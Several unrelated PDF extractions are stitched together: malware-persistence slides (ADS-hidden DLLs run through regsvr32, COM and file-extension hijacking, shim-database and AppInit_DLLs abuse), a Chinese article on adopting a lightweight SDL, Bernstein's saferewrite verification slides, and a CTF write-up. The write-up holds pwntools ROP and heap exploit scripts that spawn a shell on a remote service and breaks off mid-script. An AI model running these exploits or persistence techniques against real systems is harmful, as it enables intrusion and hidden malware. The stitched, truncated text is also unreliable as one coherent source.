folders (i.e. Diamond Fox) • Hide in the plain sight: • behind legitimate applications: Korplug • hide the executable in the windows registry - „fileless” malware • use scripts to load malicious modules – often Powershell Last minute persistence 1. Inject and delete yourself -> no malicious PE on the disk 2. Set callbacks on messages: • WM_QUERYENDSESSION, WM_ENDSESSION : to detect when the system is going to shut down 3. On shutdown event detected: write yourself on the disk and the Run key for the persistence 4. On system startup: delete the Run key, go to 1. https://www.cyberbit.net/wp-content/uploads/2016/09/Analysis-of-Dridex-AnD-for-IT.pdf Make file inaccessible – special folders • Example: Diamond Fox lpt8.{20D04FE0-3AEA-1069-A2D8-08002B30309D Normal persistence key With a special directory name https://blog.malwarebytes.com/threat-analysis/2017/03/diamond-fox-p1 Make file inaccessible – special folders • Restricted names – starting from: CON, PRN, NUL, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9, COM1, COM2, COM3, COM5, COM6, COM7, COM8, COM9 http://windows.mercenie.com/windows-xp/create-folder-any-name Make file inaccessible – special folders • Special CLSIDs: GodMode.{ED7BA470-8E54-465E-825C-99712043E01C} Administrative Tools.{D20EA4E1-3957-11d2-A40B-0C5020524153} All Tasks.{ED7BA470-8E54-465E-825C-99712043E01C} History.{ff393560-c2a7-11cf-bff4-444553540000} Clicking on folder triggers different action -> no access to the content http://www.thewindowsclub.com/the-secret-behind-the-windows-7-godmode Make file inaccessible – special folders • Benefits from using special folders: •User cannot access the content – special CLSID triggers event other than opening the folder •Cannot be removed/renamed in a typical way – restricted name prevents operating on the folder lpt8.{20D04FE0-3AEA-1069-A2D8-08002B30309D Restricted name + special CLSID http://www.thewindowsclub.com/the-secret-behind-the-windows-7-godmode Make file invisible – ADS • ADS - Alternate Data Streams • A feature of NTFS file system • Implemented, but practicaly not used by Windows... • Only the main stream of the file is listed/accessible in a typical way • Format: <filename.extension>:<alternate_stream_name> One file can have many alternative datasteams https://hshrzd.wordpress.com/2016/03/19/introduction-to-ads-alternate-data-streams/ Make file invisible – ADS Make file invisible – ADS • Get a demo.dll: https://goo.gl/wl7ZNJ • Copy the DLL into ADS of some file, i.e.: • Deploy the DLL from the alternate stream (DllMain): • Deploy a specific function (i.e. Test1) from the DLL: type demo.dll > test.txt:demo regsvr32.exe /s test.txt:demo rundll32.exe test.txt:demo,Test1 Make file invisible – ADS • Result: Make registry keys inaccessible • NULL character at the beginning of the key • Example: Kovter Still can be viewed by Autoruns.... \0c:\\users\\tester\\appdata\\local\\bcd7\\62d2.lnk Malformed key: Regedit cannot display it https://hshrzd.wordpress.com/2016/03/19/introduction-to-ads-alternate-data-streams/ Make registry keys harder to spot • By default, Autoruns hides keys leading to Microsoft apps • Example: Moker trojan https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/ By default, Autoruns shows only two keys... ...but there are more Make registry keys harder to spot • Example: Moker trojan [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] @="Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\ProgramData\\<malware>.exe\"" https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/ The malware is deployed by a Microsoft application: Rundll32 Hide behind legitimate applications (DLL abuse) • Korplug (PlugX) - spyware • Uses vulnerable, digitally signed, legitimate application (old AV products) • Exploits DLL side loading (DLL is a decoder) • The real malware is decrypted in memory -> no malicious PE file on the disk -> hard to detect! https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/ Hide behind legitimate applications (script) • Terdot Zbot (Zeus-based banking trojan): C:\AppData\Roaming\Haxyka\php.exe ushautre.php Hide behind legitimate applications (script) • Terdot Zbot (Zeus-based banking trojan) • Uses a legitimate application (PHP) • PHP is used to deploy obfuscated script • Script decrypts and loads the malware • The real malware is revealed in memory: • no malicious PE file on the disk -> hard to detect! https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/ Hide code in the registry • So called „fileless” malware • Phasebot • Poweliks • Gootkit • Kovter • PoshSpy (APT29) using WMI component and PowerShell • Others... Hide code in the registry • Trivial case - PE file saved in the registry key: Hide code in the registry (multilayer: Kovter) • Kovter – a click-fraud malware • Persistence is achieved by a basic Run key – but the flow leading to the malicious executable is obfuscated • The malicious PE is stored in the registry in encrypted form • Multiple layers till the real payload is loaded... https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/ Hide code in the registry (multilayer: Kovter) https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/ Abusing AppInit_DLLs • Define DLLs that are injected to every application that uses user32.dll: https://support.microsoft.com/pl-pl/help/197571/working-with-the-appinit-dlls-registry-value Disabled in Win 8 and above, when secure boot is enabled UAC Bypass required Abusing AppInit_DLLs • Registry keys: https://support.microsoft.com/pl-pl/help/197571/working-with-the-appinit-dlls-registry-value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\ Windows NT\CurrentVersion\Windows\AppInit_DLLs 32 bit OS + 32 bit DLL Or 64 bit OS + 64 bit DLL 64 bit OS + 32 bit DLL Abusing shim databases • Microsoft Application Compatibility Toolkit – creates patches: https://www.microsoft.com/en-us/download/confirmation.aspx?id=7352 Abusing shim databases • Shim Database • Allows setting automated injection of a patch into selected application • Can be used to automatically load malicious modules when the target application is deployed (DLL, shellcode, etc) • Installation requires elevated privileges https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html UAC Bypass required Abusing shim databases • sdbinst.exe – standard Windows tool, manages patches (.sdb) • Example: Ramnit malware deploying sdbinst https://www.hybrid- analysis.com/sample/c823183b49148e7e60d84142ccefc8fe16fe44bec94d5eabdbd623c65cdaff8c?environmen tId=100/ UAC Bypass required sdbinst /q <path_to_shim_db>.sdb Abusing shim databases • To trigger less alerts, install a shim without sdbinst.exe • Example of edited keys: https://github.com/hasherezade/persistence_demos/tree/master/shim_persist [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB\{7c6002f0-559a-488a-9fc1-bd54c33fdfa9}] "DatabasePath"=<path_to_shim>.sdb "DatabaseType"=dword:00010000 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\<shimmed_app>.exe] "{7c6002f0-559a-488a-9fc1-bd54c33fdfa9}.sdb"=hex(b):90,58,2d,0d,1a,b7,d2,01 COM Hijacking • COM – Component Object Model • „enables interaction between software components through the operating system” • Identified by CLSID – examples: https://attack.mitre.org/wiki/Technique/T1122 {3543619C-D563-43f7-95EA-4DA7E1CC396A} – Shell Icon Overlay Handler {BCDE0395-E52F-467C-8E3D-C4579291692E} - MMDevice Manipulator More: https://msdn.microsoft.com/en- us/library/accessibility(v=vs.110).aspx COM Hijacking • Substitute legitimate COM by your own • When the application using the defined COM is loaded, malware is executed • Keys: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence HKCU\Software\Classes\CLSID\[hijacked CLSID]\InprocServer32 32 bit OS + 32 bit DLL Or 64 bit OS + 64 bit DLL HKCU\Software\Classes\Wow6432Node\CLSID\[hijacked CLSID]\InprocServer32 64 bit OS + 32 bit DLL COM Hijacking • Examples: https://github.com/hasherezade/persistence_demos/tree/master/com_hijack [HKEY_CURRENT_USER\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D- C4579291692E}\InprocServer32] @="C:\\ProgramData\\demo.dll" "ThreadingModel"="Apartment [HKEY_USERS\S-1-5-21-1929933236-2258453022-3626796957- 1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32] @="C:\\ProgramData\\demo.dll" "ThreadingModel"="Apartment User-triggered persistence: link hijacking • Example: Spora ransomware https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware HKEY_LOCAL_MACHINE\Software\Classes\lnkfile\IsShortcut User-triggered persistence: link hijacking • Hijacking in the style of Spora ransomware: 1. Disable showing link indicators: • Delete: HKEY_LOCAL_MACHINE\Software\Classes\lnkfile\IsShortcut 2. Hide folders and substitute them by links 3. Clicking the link causes opening the original program + deploying the dropped malware https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware User-triggered persistence: link hijacking • Similarly: existing shortcuts can be overwritten by shortcuts deploying malware https://www.uperesia.com/booby-trapped-shortcut-generator C:\ProgramData\ProxyApp.exe C:\totalcmd\TOTALCMD.exe User-triggered persistence (handler hijacking) https://github.com/hasherezade/persistence_demos/tree/master/extension_hijack extension handler User-triggered persistence (handler hijacking) https://github.com/hasherezade/persistence_demos/tree/master/extension_hijack genuine app malicious app handler Hijack the handler User-triggered persistence (handler hijacking) • Applications handling particular extensions are defined in the registry • Globally defined extensions and handlers, in: • HKEY_CLASSES_ROOT • It can be also defined per user: • HKEY_USERS -> <user SID>_Classes • Redefine a handler: no Administrator rights required https://github.com/hasherezade/persistence_demos/tree/master/extension_hijack User-triggered persistence (handler hijacking) • When the user click a file with hijacked extension, the malware is deployed • DEMO: • https://www.youtube.com/watch?v=IE9H0qZbi18 https://hshrzd.wordpress.com/2017/05/25/hijacking-extensions-handlers-as-a-malware-persistence-method/ Conclusions • Authors of the malware are very creative in finding new ways of hiding persistence • The easiest way to detect the persistence method is by observing the installation – post-infection analysis is much harder • „Fileless” malware also creates artifacts that can be found in a typical way
pdf
精简版 SDL 落地实践 Author:@好好学习英语的 abc 前言 一般安全都属于运维部下面,和上家公司的运维总监聊过几次一些日常安全工 作能不能融入到 DevOps 中,没多久因为各种原因离职。18 年入职 5 月一家第 三方支付公司,前半年在各种检查中度过,监管形势严峻加上大领导对安全的 重视(主要还是监管),所有部门 19 年的目标都和安全挂钩。由于支付公司需要 面对各种监管机构的检查,部分安全做的比较完善,经过近一年对公司的熟悉 发现应用安全方面比较薄弱。这部分业内比较好的解决方案就是 SDL,和各厂 商交流过之后决定自己照葫芦画瓢在公司一点一点推广。 一、精简版 SDL 上图为标准版的 SDL,由于运维采用 DevOps 体系,测试也使用自动化进行 功能测试,版本迭代周期比较快,安全人手不足加上对 SDL 的威胁建模等方 法也一头雾水、如果把安全在加入整个流程会严重影响交付时间。在这种 情况调研了一些业内的一些做法,决定把 SDL 精简化 。精简版 SDL 如 下: 二、精简版 SDL 落地实践 1 安全培训 SDL 核心之一就是安全培训,所以在安全培训上我们做了安全编码、 安全 培训 安全 需求 设计 开发 实现 验证 发布 监控 安全意识、安全知识库、安全 SDK 1.1 安全编码: 我们在网上找了一些 java 安全编码规范、产品安全设计及开发安全 规范结合公司实际业务出了一版。 因为各种监管机构对培训都有要求,借此推了一下安全培训,定期对 开发和新员工入职的培训。 1.2 安全意识: 公司有企业微信公众号,大部分员工都关注了,在公众号推广了一波。 宣传完之后答题,答题满分送小礼品。 因为人手不足,而功能测试和安全测试本质上有很多相通的地方,测试部 门也比较配合,针对测试人员做了一些安全测试相关的培训,但是效果并不是太理 想。 1.3 安全知识库: 在漏洞修复过程中,开发很多不太了解漏洞原理、修复方案,所以我 们建立了安全知识库,开发先到安全知识库查相关解决方法。找不到 的再和安全人员沟通,安全人员对知识库不断更新,形成一个闭环。 1.4 安全 SDK 由于公司有架构部门,开发框架基本是架构部门提供。我们将一些 常 见 的 漏 洞 和 架 构 部 门 沟 通 之 后 , 让 架 构 将 一 些 漏 洞 修 复 方 式 用 SDK 实现,开发只需要导入 JAR 包,在配置文件中配置即可。其中 也挺多坑的,需要慢慢优化。 2 安全需求设计 公司有项目立项系统,所有的项目立项都需要通过系统来进行立项, 安全为必选项,评审会安全也必须要参与。 这个时候基本上项目经理会找安全人员进行沟通,copy 了一份 VIP 的产品安全设计规范,根据需求文档和项目经理确定安全需求。 确认好安全需求之后将按需求加入到需求文档,并确认安全测试时 间,此流程只针对新项目,已经上线的项目的需求并未按照此流程, 后续在安全测试时候会讲到这部分的项目是怎么做的。 三、开发、安全测试 安全测试主要分为代码审计,漏洞扫描,手工安全测试。由此衍生出 来 的 安 全 产 品 分 为 3 类 。 DAST : 动 态 应 用 程 序 安 全 测 试 ( wvs,appscan )、 SAST : 静 态 应 用 程 序 安 全 测 试 (fortify,rips)、IAST:交互式应用程序安全测试 (seeker,雳 鉴 ) , 这 三 种 产 品 的 详 细 介 绍 可 以 参 考 https://www.aqniu.com/learn/46910.html,下图为三种产品 的测试结果对比。 这几类产品实现了自动化可以继承到 DevOps 中。接下来我们将这些 工具融入到开发测试阶段。 IAST 的实现模式较多,常见的有代理模式、VPN、流量镜像、插桩模 式,本文介绍最具代表性的 2 种模式,代理模式和插桩模式。一些调 研过的产品如下图,具体测试结果就不公布了。 2.1 开发阶段 在对几类产品调研的时候发现 IAST 的插桩模式可以直接放到开发环 境,开发环境和测试环境的代码区别主要还是在于 application.yml 配置文 件,所以可以提前将该模式放到开发阶段。 开发写完代码提交到 gitlab 部署到开发环境启动应用的时候,开发 需要验证一下功能是否可用,这个时候就可以检测出是否存在漏洞。 公司在测试环境使用 rancher,把 IAST 的 jar 包放入到项目的 gitlab,在部署的时候把代码拉到本地,通过修改 Dockerfile 文件把 jar 包添加到容器。 • ADD shell/xxx.jar /home/app/xx/lib 由于公司项目基本统一使用 spring-boot,所有的项目都通过一个 start.sh 脚本来启动应用,start.sh 和 Dockerfile 一样需要添加到项 目的 gitlab,同时修改 start.sh 脚本文件即可。 -javaagent:$APP_HOME/lib/xx.jar -jar $APP_HOME/app/*.jar -- spring.profiles.active=dev >$APP_HOME/logs/startup.log 2>&1 & 测试项目如下,忽略错别字: 开发访问一下正常的功能即可在是否存在漏洞。 部分产品同时还会检测第三方组件包。 公司使用 harbor 来对镜像进行当仓库镜像,项目部署完成之后会打 包成一个镜像上传到 harbor,harbor 自带镜像扫描功能。 2.2 测试阶段 开发完成之后进入到测试阶段。这个阶段我们进行静态代码扫描,功能 测试,安全测试。 2.2.1 静态代码扫描 利用静态代码扫描工具对代码在编译之前进行扫描,并在静态代码层面上发 现各种问题,其中包括安全问题。部分工具列表: 由于预算有限,静态代码扫描采用 sonarQube 集成,我们使用的是 FindbugSecurity,精简规则,然后在持续构建过程中,进行静态代码 bug,安全 扫描。 静态代码扫描的同时也可以扫描第三方依赖包,OWSAP 的 Dependency- Check 就可以集成到持续构建过程中,由于 IAST 类产品支持该功能,不多做 介绍。 2.2.2 功能测试 功能测试方面,公司测试部门实现了自动化测试平台,前期我们 并未使用 agent 的方式检测,一开始使用开源的 gourdscan 加上 openrasp,利用 openrasp 的默认开启不拦截模式和漏 洞记录功能来检测服务端无返回的漏洞。 后来测试反馈扫描的脏数据太多,效果也并不是很好,就放弃了此方案。改 用开发阶段的 IAST 的插桩方式,同样在测试环境也和开发环境一样利用 agent 来检测问题。功能测试完成之后。由于测试人员对漏洞并不是太理解, 所以定的流程为测试人员到平台查看报告和安全人员沟通哪些问题需要修 复,然后将问题写入到测试报告。 2.2.3 安全测试 在测试阶段已经将安全加入到整个流程里面,所有需求更改完 成都需要通过功能测试,也就是所有的流程过一遍安全测试,这 样安全人手也不是很足,决定采用内外服务区分的办法来确定 是否需要安全人员介入。 2.2.4 漏洞管理 漏洞管理这一块制定了漏洞管理制度,根据影响程度对漏洞进 行评级,严重漏洞必须改完之后才能上线,高中低危漏洞且影响 较小需要排期。 四、监控 支付公司一般安全设备基本都有,这一块基本上将设备的 syslog 打到 日志中心可视化,并定制对应的规则实现告警即可。 五、结束语 个人知识和经验不足对 sdl 的体系并不是很熟悉,没什么经验,所以只 能做到目前的程度。后续还有许多地方可以优化,增加流程等。如果有什 么好的建议欢迎交流。
pdf
Fast verified post-quantum software Daniel J. Bernstein SymCrypt: failures for rare inputs It’s actually a bug within SymCrypt, the core cryptographic library responsible for implementing asymmetric crypto algorithms in Windows 10 and symmetric crypto algorithms in Windows 8. —“Warning: Google Researcher Drops Windows 10 Zero-Day Security Bomb”, Forbes, https://tinyurl.com/y69fx3nh Daniel J. Bernstein, Fast verified post-quantum software 3 Falcon software: skewed randomness Produced signatures were valid but leaked information on the private key. . . . The fact that these bugs existed in the first place shows that the traditional development methodology (i.e. ‘being super careful’) has failed. —“OFFICIAL COMMENT” within NISTPQC (NIST Post-Quantum Cryptography Standardization Project), https://tinyurl.com/y5w46bde Daniel J. Bernstein, Fast verified post-quantum software 4 Minerva: timing attack Libgcrypt, wolfSSL, and Crypto++ have issued patches over the summer to fix this bug. Maintainers of MatrixSSL fixed some issues, but the library remains vulnerable. Oracle’s SunEC library remains open to attacks. —“Minerva attack can recover private keys from smart cards, cryptographic libraries”, ZDNet, https://tinyurl.com/y6rlkov4 Daniel J. Bernstein, Fast verified post-quantum software 5 Cryptographic software has a problem . . . 2021.07 Blessing–Specter–Weitzner “You really shouldn’t roll your own crypto: an empirical study of vulnerabilities in cryptographic libraries”: 73 “actual” cryptographic vulnerabilities, including 11 “severe” cryptographic vulnerabilities, among OpenSSL, GnuTLS, Mozilla TLS, WolfSSL, Botan, Libgcrypt, LibreSSL, BoringSSL post-2010 CVEs. Daniel J. Bernstein, Fast verified post-quantum software 6 . . . and the complexity is getting worse Must be post-quantum! Must be fast! Must stop timing attacks! Complicated ecosystem of post-quantum specs Much more complicated ecosystem of post-quantum software Daniel J. Bernstein, Fast verified post-quantum software 7 Examples of the complications Official Keccak (SHA-3) code package: • KeccakP-1600-reference.c, • KeccakP-1600-x86-64-shld-gas.s, • KeccakP-1600-AVX2.s, • KeccakP-1600-AVX512.s, • KeccakP-1600-times8-SIMD512.c, • . . . Much better speeds than using just reference + “optimizing” compiler. Daniel J. Bernstein, Fast verified post-quantum software 8 Examples of the complications Official Keccak (SHA-3) code package: • KeccakP-1600-reference.c, • KeccakP-1600-x86-64-shld-gas.s, • KeccakP-1600-AVX2.s, • KeccakP-1600-AVX512.s, • KeccakP-1600-times8-SIMD512.c, • . . . Much better speeds than using just reference + “optimizing” compiler. Each NISTPQC candidate includes hand-optimized software faster than state-of-the-art compiled code. Daniel J. Bernstein, Fast verified post-quantum software 8 The good news: symbolic testing Symbolic-testing tools check that optimized software equals reference software. “Equals”: gives the same outputs for all inputs. Today’s tools are surprisingly easy to use and quickly handle many post-quantum subroutines. Daniel J. Bernstein, Fast verified post-quantum software 9 The good news: symbolic testing Symbolic-testing tools check that optimized software equals reference software. “Equals”: gives the same outputs for all inputs. Today’s tools are surprisingly easy to use and quickly handle many post-quantum subroutines. This talk: new saferewrite symbolic-testing tool. Open source from https://pqsrc.cr.yp.to. Daniel J. Bernstein, Fast verified post-quantum software 9 The good news: symbolic testing Symbolic-testing tools check that optimized software equals reference software. “Equals”: gives the same outputs for all inputs. Today’s tools are surprisingly easy to use and quickly handle many post-quantum subroutines. This talk: new saferewrite symbolic-testing tool. Open source from https://pqsrc.cr.yp.to. Under the hood, doing most of the work: valgrind; its VEX library; Z3 theorem prover; angr.io binary-analysis/symbolic-execution toolkit. Daniel J. Bernstein, Fast verified post-quantum software 9 Case study: int16[64] comparison Subroutine used inside Frodo post-quantum KEM. My ref version, cmp_64xint16/ref/verify.c: #include <stdint.h> int cmp_64xint16(const uint16_t *x, const uint16_t *y) { for (int i = 0;i < 64;++i) if (x[i] != y[i]) return -1; return 0; } Daniel J. Bernstein, Fast verified post-quantum software 10 Automatic saferewrite analysis Using clang -O1 -fwrapv -march=native: • saferewrite says unsafe-valgrindfailure: Code has variable branches/indices, violating constant-time coding discipline. • And unsafe-unrollsplit-65: Unrolling split the code into 65 cases. Daniel J. Bernstein, Fast verified post-quantum software 11 Automatic saferewrite analysis Using clang -O1 -fwrapv -march=native: • saferewrite says unsafe-valgrindfailure: Code has variable branches/indices, violating constant-time coding discipline. • And unsafe-unrollsplit-65: Unrolling split the code into 65 cases. Using gcc -O3 -march=native -mtune=native: • unsafe-valgrindfailure • unsafe-unrollsplit-65 • equals-ref-clang_-O1_...: cmp_64xint16 binaries give same outputs. Daniel J. Bernstein, Fast verified post-quantum software 11 Automatic analysis of a rewrite #include <stdint.h> #include <string.h> int cmp_64xint16(const uint16_t *x, const uint16_t *y) { return memcmp(x,y,128); } Daniel J. Bernstein, Fast verified post-quantum software 12 Automatic analysis of a rewrite #include <stdint.h> #include <string.h> int cmp_64xint16(const uint16_t *x, const uint16_t *y) { return memcmp(x,y,128); } Again unsafe-valgrindfailure: variable time. Also unsafe-differentfrom-ref-clang_.... Why? Nonzero memcmp output isn’t always -1. Daniel J. Bernstein, Fast verified post-quantum software 12 Automatic analysis of another rewrite #include <stdint.h> #include <string.h> int cmp_64xint16(const uint16_t *x, const uint16_t *y) { int r = memcmp(x,y,128); if (r != 0) return -1; return 0; } Daniel J. Bernstein, Fast verified post-quantum software 13 Automatic analysis of another rewrite #include <stdint.h> #include <string.h> int cmp_64xint16(const uint16_t *x, const uint16_t *y) { int r = memcmp(x,y,128); if (r != 0) return -1; return 0; } Now equals-ref-clang_... but still unsafe-valgrindfailure. 2017 Frodo software used memcmp; broken by 2020.06 timing attack. Daniel J. Bernstein, Fast verified post-quantum software 13 2020.06 Frodo official constant-time code int8_t ct_verify(const uint16_t *a, const uint16_t *b, size_t len) { // Compare two arrays in constant time. // Returns 0 if the byte arrays are equal, // -1 otherwise. uint16_t r = 0; for (size_t i = 0; i < len; i++) { r |= a[i] ^ b[i]; } r=(-(int16_t)r)>>(8*sizeof(uint16_t)-1); return (int8_t)r; } Daniel J. Bernstein, Fast verified post-quantum software 14 Use saferewrite to analyze this . . . Add wrapper to fit the cmp_64xint16 interface: int cmp_64xint16(const uint16_t *x, const uint16_t *y) { return ct_verify(x,y,64); } saferewrite focuses on constant lengths. (Frodo uses int16[N] for a few choices of N.) Daniel J. Bernstein, Fast verified post-quantum software 15 Use saferewrite to analyze this . . . Add wrapper to fit the cmp_64xint16 interface: int cmp_64xint16(const uint16_t *x, const uint16_t *y) { return ct_verify(x,y,64); } saferewrite focuses on constant lengths. (Frodo uses int16[N] for a few choices of N.) Feed ct_verify and wrapper to saferewrite: • No more unsafe-valgrindfailure: Great. Daniel J. Bernstein, Fast verified post-quantum software 15 Use saferewrite to analyze this . . . Add wrapper to fit the cmp_64xint16 interface: int cmp_64xint16(const uint16_t *x, const uint16_t *y) { return ct_verify(x,y,64); } saferewrite focuses on constant lengths. (Frodo uses int16[N] for a few choices of N.) Feed ct_verify and wrapper to saferewrite: • No more unsafe-valgrindfailure: Great. • unsafe-differentfrom-ref-...: Oops! Bug discovered 2020.12 by Saarinen; easy to exploit. Daniel J. Bernstein, Fast verified post-quantum software 15 A safe rewrite: correct constant-time code #include <stdint.h> int cmp_64xint16(const uint16_t *x, const uint16_t *y) { uint32_t differences = 0; for (long long i = 0;i < 64;++i) differences |= x[i] ^ y[i]; return (1 & ((differences - 1) >> 16)) - 1; } Now saferewrite analysis with both compilers says equals-ref-... and no more unsafe. Daniel J. Bernstein, Fast verified post-quantum software 16 Examples in saferewrite package 10 sample implementations of cmp_64xint16. One uses OpenSSL’s CRYPTO_memcmp Intel asm; see CVE-2018-0733 re CRYPTO_memcmp HP asm. Daniel J. Bernstein, Fast verified post-quantum software 17 Examples in saferewrite package 10 sample implementations of cmp_64xint16. One uses OpenSSL’s CRYPTO_memcmp Intel asm; see CVE-2018-0733 re CRYPTO_memcmp HP asm. 103 sample implementations of 39 other functions. Some functions much bigger than cmp_64xint16. Some simple functions for exercising saferewrite. Daniel J. Bernstein, Fast verified post-quantum software 17 Examples in saferewrite package 10 sample implementations of cmp_64xint16. One uses OpenSSL’s CRYPTO_memcmp Intel asm; see CVE-2018-0733 re CRYPTO_memcmp HP asm. 103 sample implementations of 39 other functions. Some functions much bigger than cmp_64xint16. Some simple functions for exercising saferewrite. unsafe-differentfrom automatically includes example of an input triggering the difference. Can be hard to find by traditional testing/fuzzing! Daniel J. Bernstein, Fast verified post-quantum software 17 Examples in saferewrite package 10 sample implementations of cmp_64xint16. One uses OpenSSL’s CRYPTO_memcmp Intel asm; see CVE-2018-0733 re CRYPTO_memcmp HP asm. 103 sample implementations of 39 other functions. Some functions much bigger than cmp_64xint16. Some simple functions for exercising saferewrite. unsafe-differentfrom automatically includes example of an input triggering the difference. Can be hard to find by traditional testing/fuzzing! Beware: automatically uses many cores, big RAM. Tip: chmod +t src/*; chmod -t src/cmp* Daniel J. Bernstein, Fast verified post-quantum software 17 Example: integer-sequence encoders Existing optimized code from NTRU Prime, with heavy use of Intel AVX2 vector instructions: • 245-line encode_761x1531/avx/encode.c encode.c and similar encoders for other sizes are automatically generated by 239-line Python script. Daniel J. Bernstein, Fast verified post-quantum software 18 Example: integer-sequence encoders Existing optimized code from NTRU Prime, with heavy use of Intel AVX2 vector instructions: • 245-line encode_761x1531/avx/encode.c encode.c and similar encoders for other sizes are automatically generated by 239-line Python script. Existing reference code, much simpler: • 38-line encode_761x1531/ref/Encode.c • 18-line encode_761x1531/ref/wrapper.c Daniel J. Bernstein, Fast verified post-quantum software 18 Example: integer-sequence encoders Existing optimized code from NTRU Prime, with heavy use of Intel AVX2 vector instructions: • 245-line encode_761x1531/avx/encode.c encode.c and similar encoders for other sizes are automatically generated by 239-line Python script. Existing reference code, much simpler: • 38-line encode_761x1531/ref/Encode.c • 18-line encode_761x1531/ref/wrapper.c “Is the optimized code a safe rewrite of ref?” Automatic saferewrite analysis: equals-ref. Daniel J. Bernstein, Fast verified post-quantum software 18 Excerpt from avx/encode.c x = _mm256_loadu_si256((__m256i *) reading); x = _mm256_add_epi16(x,_mm256_set1_epi16(2295)); x &= _mm256_set1_epi16(16383); x = _mm256_mulhi_epi16(x,_mm256_set1_epi16(21846)); y = x & _mm256_set1_epi32(65535); x = _mm256_srli_epi32(x,16); x = _mm256_mullo_epi32(x,_mm256_set1_epi32(1531)); x = _mm256_add_epi32(y,x); x = _mm256_shuffle_epi8(x,_mm256_set_epi8( 12,8,4,0,12,8,4,0,14,13,10,9,6,5,2,1, 12,8,4,0,12,8,4,0,14,13,10,9,6,5,2,1 )); x = _mm256_permute4x64_epi64(x,0xd8); _mm_storeu_si128((__m128i *) writing, _mm256_extractf128_si256(x,0)); *((uint32 *) (out+0)) = _mm256_extract_epi32(x,4); *((uint32 *) (out+4)) = _mm256_extract_epi32(x,6); Daniel J. Bernstein, Fast verified post-quantum software 19 Links, TODO #saferewrite saferewrite package is available now from https://pqsrc.cr.yp.to. Work in progress: • More post-quantum case studies. • More pre-quantum case studies: e.g., Ed25519. • More languages: e.g., support Python ref. • Developer integration: incremental testing etc. • “Cuts”: subroutine swaps etc. for faster testing. • Plugins for dedicated equivalence testers. • Higher assurance for the entire toolchain. Related work: Cryptol/SAW/hacrypto, Cryptoline, Fiat-Crypto, HACL*, Jasmin, ValeCrypt, VST. Daniel J. Bernstein, Fast verified post-quantum software 20
pdf
OGeekWrite Up - Nu1L OGeekWrite Up - Nu1L catch fun babyrop book manager Pybox 2019 Upgrade LookAround render Easy Realworld Challenge mblockchain Hub 8v Babycry catch fun flag{Reno} babyrop ROP #!python #-*- coding: utf-8 -*- #@Date: 2019-08-24 11:39:14 from pwn import * context.log_level = 'debug' # p = process("./babyrop") p =remote("47.112.137.238",13337) elf = ELF("./babyrop") libc = ELF("./libc-2.23.so") # libc = ELF("/lib/i386-linux-gnu/libc.so.6") p.send("\x00"*7+"\xff"+24*"\x00") p.send("A"*0xeb+p32(0x8048548)+p32(0x080485A0)+p32(elf.got['puts'])) p.recvuntil("Correct\n") libc.address = u32(p.recvuntil("\n",drop=True))-libc.sym['puts'] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 book manager system = libc.sym['system'] log.info("system:"+hex(system)) binsh = next(libc.search('/bin/sh')) log.info("binsh:"+hex(binsh)) p.send("\x00"*7+"\xff"+24*"\x00") p.send("A"*0xeb+p32(system)+p32(0x8048825)+p32(binsh)) p.interactive() 19 20 21 22 23 24 25 26 27 #!python #-*- coding: utf-8 -*- #@Date: 2019-08-24 19:06:12 from pwn import * ru = lambda x : p.recvuntil(x,drop=True) s = lambda x,y : p.sendafter(x,y) sl = lambda x,y: p.sendlineafter(x,y) p = remote("47.112.115.30",13337) libc = ELF('./libc-2.23.so') s('create: ',"A"*0x1f) def add_chapter(name): sl('Your choice:',str(1)) s("Chapter name:",name) def add_section(into,name,leak=False): addr = 0 sl('Your choice:',str(2)) s('into:',into) if leak: ru("0x") addr = int(ru('\n').ljust(0x8,'\x00'),16) s('Section name:',name) return addr def add_text(into,num,text): sl('Your choice:',str(3)) s('into:',into) sl('write:',str(num)) s("Text:",text) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 def dele_chapter(name): sl('Your choice:',str(4)) s('name:',name) def dele_section(name): sl('Your choice:',str(5)) s('name:',name) def dele_text(name): sl('Your choice:',str(6)) s('name:',name) def preview(): sl('Your choice:',str(7)) def update(choice,name,cnt,r=False): sl('Your choice:',str(8)) s("(Chapter/Section/Text):",choice) if r: s('Section name:',name) s("New Text:",cnt) else: s("Section name:",name) s('name:',cnt) add_chapter("c0\n") add_chapter("c1\n") heap = add_section("c1",'s0',leak=True)-0x1c0 log.info("heap:"+hex(heap)) dele_chapter('c0') add_text("s0",1,'\n') preview() ru("Section:s0\n") ru("Text:") libc.address = u64(ru('\n').ljust(0x8,'\x00'))-0x3c4bf8 log.info("libc.address:"+hex(libc.address)) __free_hook = libc.sym['__free_hook'] system = libc.sym['system'] dele_chapter('c1') add_chapter('c0') add_section('c0','s1') add_text("s1",1,'\n') update('Text\n','s1\n',"A"*0x18+p64(0x91)+"c2"+'\x00'*(0x20- 